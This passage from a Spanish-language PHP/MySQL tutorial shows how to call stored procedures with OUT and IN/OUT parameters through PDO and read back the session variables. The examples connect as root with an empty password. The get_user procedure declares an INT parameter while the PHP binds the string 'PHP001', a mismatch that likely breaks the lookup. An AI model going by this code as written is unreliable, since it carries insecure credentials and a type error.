      SELECT Nombre INTO avgEmpleados FROM empleado_php WHERE ID="PHP001";

END$$
DELIMITER ;
La llamada al procedimiento almacenado debe hacerse con dos query, deben realizarse dos consultas con la conexión a la base de datos obtenida, en una consulta se hará el CALL al procedimiento almacenado y con la segunda consulta se logra recuperar los parámetros output del procedimiento.

<?php
  $host="localhost";
  $dbname="ejemplo";
  $username="root";
  $password="";
        $idEmpleado = "PHP001";
try {   
  $conn = new PDO("mysql:host=$host;dbname=$dbname", $username, $password);
  $sql = 'CALL selectOuts_sp(@total, @avg)';
  $stmt = $conn->prepare($sql);
  $stmt->execute();
 
  $stmt->closeCursor(); //permite limpiar y ejecutar la segunda query
    
  /* este codigo es para recuperar un valor
  $r = $conn->query('select @total, @avg'); 
  $total = $r->fetchColumn();
  echo $total;*/
 
  // este codigo serviria para recuperar mas de un valor output desde un SP.
  $r = $conn->query('select @total, @avg')->fetch();
  echo $r['@total'];
  echo $r['@avg'];
 
 }
catch (PDOException $pe) {
  die("Error occurred:" . $pe->getMessage());
}
?>

  • Procedimiento Almacenado con Parámetros IN-OUT
Procedimiento tratara los tipos de parámetro de entrada y salida,
DELIMITER $$
USE `ejemplo`$$
DROP PROCEDURE IF EXISTS `get_user`$$

CREATE DEFINER=`root`@`localhost` PROCEDURE `get_user`(
IN userId INT,
OUT firstName VARCHAR(100)
)
BEGIN
SELECT Nombre
INTO firstName
FROM empleado_php
WHERE ID = userId;

END$$
DELIMITER ;
Para utilizar este procedimiento almacenado se deben realizarse dos consultas con la conexión a la base de datos obtenida, en una consulta se hará el CALL al procedimiento almacenado y con la segunda consulta se logra recuperar los parámetros output del procedimiento.

<?php
 $host="localhost";
 $dbname="ejemplo";
 $username="root";
 $password="";
        $idEmpleado = "PHP001";
try {
    $conn = new PDO("mysql:host=$host;dbname=$dbname", $username, $password);
    $sql = 'CALL get_user(:id,@lnombre)';
    $stmt = $conn->prepare($sql);
    $stmt->bindParam(':id', $idEmpleado, PDO::PARAM_STR, 100);
    $stmt->execute();
 
    $stmt->closeCursor(); //permite limpiar y ejecutar la segunda query
   
    $r = $conn->query("SELECT @lnombre AS nombre")->fetch(PDO::FETCH_ASSOC);
    if ($r['nombre']) {
        echo sprintf('Nombre del empleado %s es %s', $idEmpleado, $r['nombre']);
    }
 else
  echo sprintf('Nombre del empleado %s no esta especificado', $idEmpleado);
 }
catch (PDOException $pe) {
    die("Error occurred:" . $pe->getMessage());
}
?>